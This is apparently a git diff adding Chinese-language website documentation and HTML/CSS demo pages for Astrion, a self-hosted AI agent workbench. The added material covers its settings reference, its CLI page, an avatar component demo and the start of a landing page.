| 编辑摘要实时显示 | 关 | 开:AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 |
|
||||||
|
| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 |
|
||||||
|
| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 |
|
||||||
|
| 新建对话按钮行为 | 跳转空白页 | route:跳到空白新对话页 / blank:立即创建空对话 |
|
||||||
|
|
||||||
|
## 5. 工作区与权限
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 默认权限模式 | 无限制 | 新终端的初始权限模式。**强烈建议改为「批准」**,四档行为见《核心概念》 |
|
||||||
|
| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 |
|
||||||
|
| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 |
|
||||||
|
| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.md,AI 始终带着项目规范干活。长期项目建议开 |
|
||||||
|
| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 |
|
||||||
|
| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 |
|
||||||
|
| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) |
|
||||||
|
| 目标审核模式 | 仅读对话 | 目标模式的审核方式:readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 |
|
||||||
|
| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 |
|
||||||
|
| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停(1k–100M)。注意是工作区级近似统计 |
|
||||||
|
|
||||||
|
## 6. 上下文
|
||||||
|
|
||||||
|
这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 |
|
||||||
|
| 最近对话数量 | 10 | 上面那项的 N,1–30 |
|
||||||
|
| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数(≥5,可设无上限) |
|
||||||
|
| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 |
|
||||||
|
| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** |
|
||||||
|
| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 |
|
||||||
|
| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 |
|
||||||
|
| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 |
|
||||||
|
| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 |
|
||||||
|
| 自动深压缩 | 开 | 推荐保持开启 |
|
||||||
|
| 深压缩触发 token | 150000 | 同样遵守 80% 规则 |
|
||||||
|
| 深压缩产物形式 | 生成文件 | file:总结写入文件随取随用(推荐)/ inject:直接注入总结全文 |
|
||||||
|
|
||||||
|
## 7. 工具与 Skills
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 |
|
||||||
|
| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 |
|
||||||
|
| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 |
|
||||||
|
| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill |
|
||||||
|
| 强约束:终端 | 关 | 开:AI 使用终端工具前必须先读 terminal-guide 规范 |
|
||||||
|
| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide |
|
||||||
|
| 强约束:前台命令 | 关 | 开:run_command 前台模式前必须先读规范 |
|
||||||
|
| 强约束:后台命令 | 关 | 开:run_command 后台模式前必须先读规范 |
|
||||||
|
| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 |
|
||||||
|
| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) |
|
||||||
|
|
||||||
|
四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。
|
||||||
|
|
||||||
|
## 8. 文件与图片
|
||||||
|
|
||||||
|
| 设置项 | 默认 | 说明 |
|
||||||
|
|--------|------|------|
|
||||||
|
| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 |
|
||||||
|
|
||||||
|
## 9. 数据管理
|
||||||
|
|
||||||
|
只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数,支持手动刷新。用来回答「我这个月烧了多少 token」。
|
||||||
|
|
||||||
|
## 10. 语音模型
|
||||||
|
|
||||||
|
端侧语音识别模型(SenseVoice int8)的下载管理:约 228MB,**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。
|
||||||
|
|
||||||
|
## 11. 子智能体
|
||||||
|
|
||||||
|
多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。
|
||||||
|
|
||||||
|
## 12. 审核智能体
|
||||||
|
|
||||||
|
三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配:
|
||||||
|
|
||||||
|
| 字段 | 说明 |
|
||||||
|
|------|------|
|
||||||
|
| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** |
|
||||||
|
| 思考模式 | fast / thinking |
|
||||||
|
| 超时时间 | 单次审核的最长等待 |
|
||||||
|
| 最大轮数 | 审核智能体自身的工作轮数上限 |
|
||||||
|
| 命令超时 | 审核中执行核查命令的单条超时 |
|
||||||
|
|
||||||
|
配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。
|
||||||
|
|
||||||
|
## 13. 管理员(仅管理员可见)
|
||||||
|
|
||||||
|
管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附:设置生效机制
|
||||||
|
|
||||||
|
- 所有设置存储在数据目录的 `personalization.json`,按用户隔离;
|
||||||
|
- 「默认 XX」类设置只影响新建对象(新对话/新终端),不改已有的;
|
||||||
|
- 显示类设置(主题、显示模式等)即时生效;
|
||||||
|
- 涉及提示词注入的设置(个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。
|
||||||
36
website-content/10-cli.md
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
# CLI(开发中)
|
||||||
|
|
||||||
|
> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 是什么
|
||||||
|
|
||||||
|
一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI,让你不打开浏览器也能与 Astrion 对话。
|
||||||
|
|
||||||
|
关键点:CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`),所有对话、工具执行、权限控制都走后端,CLI 只是一个更轻的交互界面。
|
||||||
|
|
||||||
|
## 2. 启动
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm --prefix cli install # 首次安装依赖
|
||||||
|
npm run cli # 启动,自动连接本地 8091 服务
|
||||||
|
```
|
||||||
|
|
||||||
|
启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。
|
||||||
|
|
||||||
|
## 3. 当前能力与边界
|
||||||
|
|
||||||
|
- 基础对话、流式输出、工具调用展示;
|
||||||
|
- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`);
|
||||||
|
- 思考内容默认折叠,只显示「思考中 / 思考完成」;
|
||||||
|
- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。
|
||||||
|
|
||||||
|
## 4. 面向开发者
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm run cli:typecheck # 类型检查
|
||||||
|
npm run cli:build # 构建(产物提供 agents / agents-cli 命令)
|
||||||
|
```
|
||||||
|
|
||||||
|
CLI 代码在 `cli/src/`(`App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。
|
||||||
31
website-content/README.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
# Astrion 官网文档(中文版文案)
|
||||||
|
|
||||||
|
本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。
|
||||||
|
|
||||||
|
## 章节地图
|
||||||
|
|
||||||
|
| 文件 | 章节 | 读者 |
|
||||||
|
|------|------|------|
|
||||||
|
| `01-quick-start.md` | 快速上手:安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 |
|
||||||
|
| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) |
|
||||||
|
| `03-conversations.md` | 对话:对话类型、思考模式与推理强度、目标模式(Beta)、对话面板、对话管理 | 用户 |
|
||||||
|
| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 |
|
||||||
|
| `05-execution-security.md` | 执行与安全:两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 |
|
||||||
|
| `06-conversation-assets.md` | 对话资产管理:版本控制、修改留痕、Git 状态栏 | 用户 |
|
||||||
|
| `07-agent-capabilities.md` | 智能体能力:子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 |
|
||||||
|
| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 |
|
||||||
|
| `09-settings.md` | 个人空间设置全解:12 个标签页逐项说明 | 用户(工具书式查阅) |
|
||||||
|
| `10-cli.md` | CLI(开发中):形态、启动、当前边界 | 用户/开发者 |
|
||||||
|
|
||||||
|
## 写作约定
|
||||||
|
|
||||||
|
- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准;
|
||||||
|
- 安全性内容如实标注(macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离);
|
||||||
|
- Beta/开发中功能明确标注;
|
||||||
|
- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。
|
||||||
|
|
||||||
|
## 待补充(设计官网阶段)
|
||||||
|
|
||||||
|
- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组)
|
||||||
|
- 首页 landing 文案与截图
|
||||||
|
- 截图与演示素材(需运行实例采集)
|
||||||
BIN
website-design/assets/product-main-classic.png
Normal file
|
After Width: | Height: | Size: 34 KiB |
BIN
website-design/assets/product-main.png
Normal file
|
After Width: | Height: | Size: 30 KiB |
76
website-design/avatar-demo/index.html
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Astrion 形象组件 · 验收</title>
|
||||||
|
<link rel="stylesheet" href="../shared/astrion-avatar.css" />
|
||||||
|
<link rel="stylesheet" href="style.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header class="page-head">
|
||||||
|
<h1>形象组件验收</h1>
|
||||||
|
<p>参数 1:1 还原产品 StatusAvatar.vue:viewBox 200 · 外框 12 · 眼睛 10 · currentColor。移动鼠标看追踪,等几秒看眨眼。</p>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section class="panel panel--light">
|
||||||
|
<div class="live-row">
|
||||||
|
<div class="live-avatar" data-avatar data-mode="idle"></div>
|
||||||
|
<div class="live-note">
|
||||||
|
<strong>idle · 活</strong>
|
||||||
|
<span>随机眨眼(2.2–4.8s)· 眼睛追踪鼠标方向</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="live-row">
|
||||||
|
<div class="live-avatar" data-avatar data-mode="think"></div>
|
||||||
|
<div class="live-note">
|
||||||
|
<strong>think</strong>
|
||||||
|
<span>三个波浪圆点(产品思考态原样)</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="panel panel--dark">
|
||||||
|
<div class="live-row">
|
||||||
|
<div class="live-avatar" data-avatar data-mode="idle"></div>
|
||||||
|
<div class="live-note">
|
||||||
|
<strong>深色底</strong>
|
||||||
|
<span>颜色 = currentColor,跟随文字色,不需要任何适配代码</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="live-row">
|
||||||
|
<div class="live-avatar" data-avatar data-mode="think"></div>
|
||||||
|
<div class="live-note">
|
||||||
|
<strong>think</strong>
|
||||||
|
<span>同一组件,零改动</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="panel panel--light">
|
||||||
|
<h2>尺寸序列</h2>
|
||||||
|
<div class="size-row">
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="16"></div><span>16</span></div>
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="24"></div><span>24</span></div>
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="32"></div><span>32</span></div>
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="48"></div><span>48</span></div>
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="64"></div><span>64</span></div>
|
||||||
|
<div class="size-cell"><div data-avatar data-mode="idle" data-size="96"></div><span>96</span></div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<script src="../shared/astrion-avatar.js"></script>
|
||||||
|
<script>
|
||||||
|
document.querySelectorAll('[data-avatar]').forEach(function (el) {
|
||||||
|
var size = parseInt(el.dataset.size || '160', 10);
|
||||||
|
el.style.width = size + 'px';
|
||||||
|
el.style.height = size + 'px';
|
||||||
|
AstrionAvatar.mount(el, {
|
||||||
|
mode: el.dataset.mode || 'idle',
|
||||||
|
blink: el.dataset.mode !== 'think',
|
||||||
|
track: el.dataset.mode !== 'think' && size >= 32
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
106
website-design/avatar-demo/style.css
Normal file
@ -0,0 +1,106 @@
|
|||||||
|
/* 形象验收 demo —— 刻意无装饰,只验证组件本身 */
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: -apple-system, "PingFang SC", "Noto Sans SC", sans-serif;
|
||||||
|
background: #faf9f5;
|
||||||
|
color: #1f1c17;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-head {
|
||||||
|
max-width: 760px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 48px 24px 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-head h1 {
|
||||||
|
font-size: 20px;
|
||||||
|
font-weight: 600;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-head p {
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 1.8;
|
||||||
|
color: #6b655a;
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel {
|
||||||
|
max-width: 760px;
|
||||||
|
margin: 24px auto;
|
||||||
|
padding: 40px 24px;
|
||||||
|
border-radius: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel--light {
|
||||||
|
background: #ffffff;
|
||||||
|
border: 1px solid #e8e2d5;
|
||||||
|
color: #1f1c17;
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel--dark {
|
||||||
|
background: #14161b;
|
||||||
|
color: #e8e6e1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.panel h2 {
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: inherit;
|
||||||
|
opacity: 0.5;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-row + .live-row {
|
||||||
|
margin-top: 32px;
|
||||||
|
padding-top: 32px;
|
||||||
|
border-top: 1px solid currentColor;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-avatar {
|
||||||
|
flex-shrink: 0;
|
||||||
|
width: 160px;
|
||||||
|
height: 160px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-note {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-note strong {
|
||||||
|
font-size: 15px;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
.live-note span {
|
||||||
|
font-size: 13px;
|
||||||
|
opacity: 0.55;
|
||||||
|
}
|
||||||
|
|
||||||
|
.size-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-end;
|
||||||
|
gap: 40px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.size-cell {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.size-cell span {
|
||||||
|
font-size: 11px;
|
||||||
|
font-family: ui-monospace, monospace;
|
||||||
|
opacity: 0.45;
|
||||||
|
}
|
||||||
20
website-design/exp/anim-demo.html
Normal file
@ -0,0 +1,20 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>运行模式动画 demo</title>
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-demo.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="stage">
|
||||||
|
<p class="hint">点击顶部标签切换模式;再次点击当前标签重播。</p>
|
||||||
|
<div class="anim-host" id="animModes"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="/site-assets/anim-modes.js"></script>
|
||||||
|
<script>AnimModes.init(document.getElementById('animModes'));</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
49
website-design/exp/anim2-demo.html
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>沙箱与网络授权动画 demo</title>
|
||||||
|
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
--bg-0: #0c1120;
|
||||||
|
--bg-1: #111830;
|
||||||
|
--text-1: #eef1f8;
|
||||||
|
--text-2: #a7b0c4;
|
||||||
|
--text-3: #6b7488;
|
||||||
|
--accent: #a9c2f0;
|
||||||
|
--accent-strong: #c1d4f6;
|
||||||
|
--ok: #7ba889;
|
||||||
|
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||||
|
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||||
|
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||||
|
}
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
body {
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
|
||||||
|
min-height: 100vh;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
color: var(--text-1);
|
||||||
|
}
|
||||||
|
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||||
|
.hint { font-size: 13px; color: var(--text-3); }
|
||||||
|
#anim2Window { width: 540px; height: 388px; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="stage">
|
||||||
|
<p class="hint">自动无限循环播放:每轮随机 20 条(15 短 + 5 长),弹道随机。</p>
|
||||||
|
<div id="anim2Window"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="/site-assets/astrion-avatar.js"></script>
|
||||||
|
<script src="/site-assets/anim-sandbox.js"></script>
|
||||||
|
<script>AnimSandbox.init(document.getElementById('anim2Window'));</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
22
website-design/exp/anim3-demo.html
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>修改记录动画 demo</title>
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim3-demo.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-records.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="stage">
|
||||||
|
<p class="hint">自动播放;收盒后自动轮播,按下卡片暂停 5 秒。</p>
|
||||||
|
<div class="anim-host" id="animRecords"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="/site-assets/astrion-avatar.js"></script>
|
||||||
|
<script src="/site-assets/anim-records.js"></script>
|
||||||
|
<script>AnimRecords.init(document.getElementById('animRecords'));</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
22
website-design/exp/anim4-demo.html
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>版本控制动画 demo</title>
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim4-demo.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-version.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="stage">
|
||||||
|
<p class="hint">自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。</p>
|
||||||
|
<div class="anim-host" id="animVersion"></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="/site-assets/astrion-avatar.js"></script>
|
||||||
|
<script src="/site-assets/anim-version.js"></script>
|
||||||
|
<script>AnimVersion.init(document.getElementById('animVersion'));</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
88
website-design/exp/demo.html
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Astrion</title>
|
||||||
|
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg">
|
||||||
|
<link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png">
|
||||||
|
<link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png">
|
||||||
|
<link rel="apple-touch-icon" sizes="180x180" href="/static/apple-touch-icon.png">
|
||||||
|
<link rel="stylesheet" href="/static/style.css">
|
||||||
|
<link rel="stylesheet" href="/static/easter-eggs/flood.css">
|
||||||
|
<link rel="stylesheet" href="/static/easter-eggs/snake.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="app"></div>
|
||||||
|
<script>
|
||||||
|
// 全局复制代码块函数
|
||||||
|
function decodeHtmlEntities(text) {
|
||||||
|
const textarea = document.createElement('textarea');
|
||||||
|
textarea.innerHTML = text || '';
|
||||||
|
return textarea.value;
|
||||||
|
}
|
||||||
|
function copyCodeBlock(blockId) {
|
||||||
|
const codeElement = document.querySelector(`[data-code-id="${blockId}"]`);
|
||||||
|
if (!codeElement) return;
|
||||||
|
const button = document.querySelector(`[data-code="${blockId}"]`);
|
||||||
|
if (button && button.classList.contains('copied')) return;
|
||||||
|
const raw = codeElement?.dataset?.originalCode || codeElement?.textContent || '';
|
||||||
|
const codeContent = decodeHtmlEntities(raw);
|
||||||
|
if (!button) {
|
||||||
|
navigator.clipboard.writeText(codeContent).catch((err) => console.error('复制失败:', err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!button.dataset.originalLabel) {
|
||||||
|
button.dataset.originalLabel = button.getAttribute('aria-label') || '复制代码';
|
||||||
|
}
|
||||||
|
navigator.clipboard.writeText(codeContent).then(() => {
|
||||||
|
button.classList.add('copied');
|
||||||
|
button.setAttribute('aria-label', '已复制');
|
||||||
|
setTimeout(() => {
|
||||||
|
button.classList.remove('copied');
|
||||||
|
button.setAttribute('aria-label', button.dataset.originalLabel);
|
||||||
|
}, 2000);
|
||||||
|
}).catch((err) => {
|
||||||
|
console.error('复制失败:', err);
|
||||||
|
button.classList.remove('copied');
|
||||||
|
button.setAttribute('aria-label', button.dataset.originalLabel || '复制代码');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script src="/static/easter-eggs/registry.js"></script>
|
||||||
|
<script src="/static/easter-eggs/flood.js"></script>
|
||||||
|
<script src="/static/easter-eggs/snake.js"></script>
|
||||||
|
<script src="/static/security.js"></script>
|
||||||
|
<script>
|
||||||
|
/* 演示引导:注册 mock SW,等 controllerchange 后换路由、再加载真实前端 */
|
||||||
|
(function () {
|
||||||
|
// 固定演示呈现状态:经典配色 + 极简模式 + 快捷窗口自动展开,不受访客浏览器缓存影响
|
||||||
|
try {
|
||||||
|
localStorage.setItem('agents_ui_theme', 'classic');
|
||||||
|
localStorage.setItem('agents_personalization_experiments', JSON.stringify({ blockDisplayMode: 'minimal' }));
|
||||||
|
localStorage.setItem('agents_quick_dock_auto_expand', 'true');
|
||||||
|
} catch (e) {}
|
||||||
|
var TARGET = /^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(location.pathname) ? location.pathname : '/20260823_122836_778';
|
||||||
|
function loadMain() {
|
||||||
|
var s = document.createElement('script');
|
||||||
|
s.type = 'module';
|
||||||
|
s.src = '/static/dist/assets/main.js';
|
||||||
|
document.body.appendChild(s);
|
||||||
|
}
|
||||||
|
async function boot() {
|
||||||
|
if (!('serviceWorker' in navigator)) { loadMain(); return; }
|
||||||
|
try { await navigator.serviceWorker.register('/sw.js'); } catch (e) { loadMain(); return; }
|
||||||
|
if (!navigator.serviceWorker.controller) {
|
||||||
|
await new Promise(function (resolve) {
|
||||||
|
navigator.serviceWorker.addEventListener('controllerchange', resolve, { once: true });
|
||||||
|
setTimeout(resolve, 4000); // 兜底,防止极端情况下死等
|
||||||
|
});
|
||||||
|
}
|
||||||
|
history.replaceState(null, '', TARGET);
|
||||||
|
loadMain();
|
||||||
|
}
|
||||||
|
boot();
|
||||||
|
})();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
190
website-design/exp/index.html
Normal file
@ -0,0 +1,190 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="zh-CN">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Astrion — 住在你机器上的智能体工作台</title>
|
||||||
|
<meta name="description" content="Astrion 是开源、自托管的智能体工作台:在本机处理你的代码与工作,也可以部署到云端提供多人服务,体验一致。" />
|
||||||
|
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-records.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/anim-version.css" />
|
||||||
|
<link rel="stylesheet" href="/site-assets/site.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<canvas id="starfield" aria-hidden="true"></canvas>
|
||||||
|
|
||||||
|
<!-- ───────────────── 顶栏 ───────────────── -->
|
||||||
|
<header class="topbar" id="topbar">
|
||||||
|
<div class="topbar-inner">
|
||||||
|
<a class="brand" href="/" aria-label="Astrion 首页">
|
||||||
|
<span class="brand-name">Astrion</span>
|
||||||
|
</a>
|
||||||
|
<nav class="topnav">
|
||||||
|
<a class="topnav-link" href="#features">功能</a>
|
||||||
|
<a class="topnav-link" href="#faq">FAQ</a>
|
||||||
|
<a class="topnav-link" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
|
||||||
|
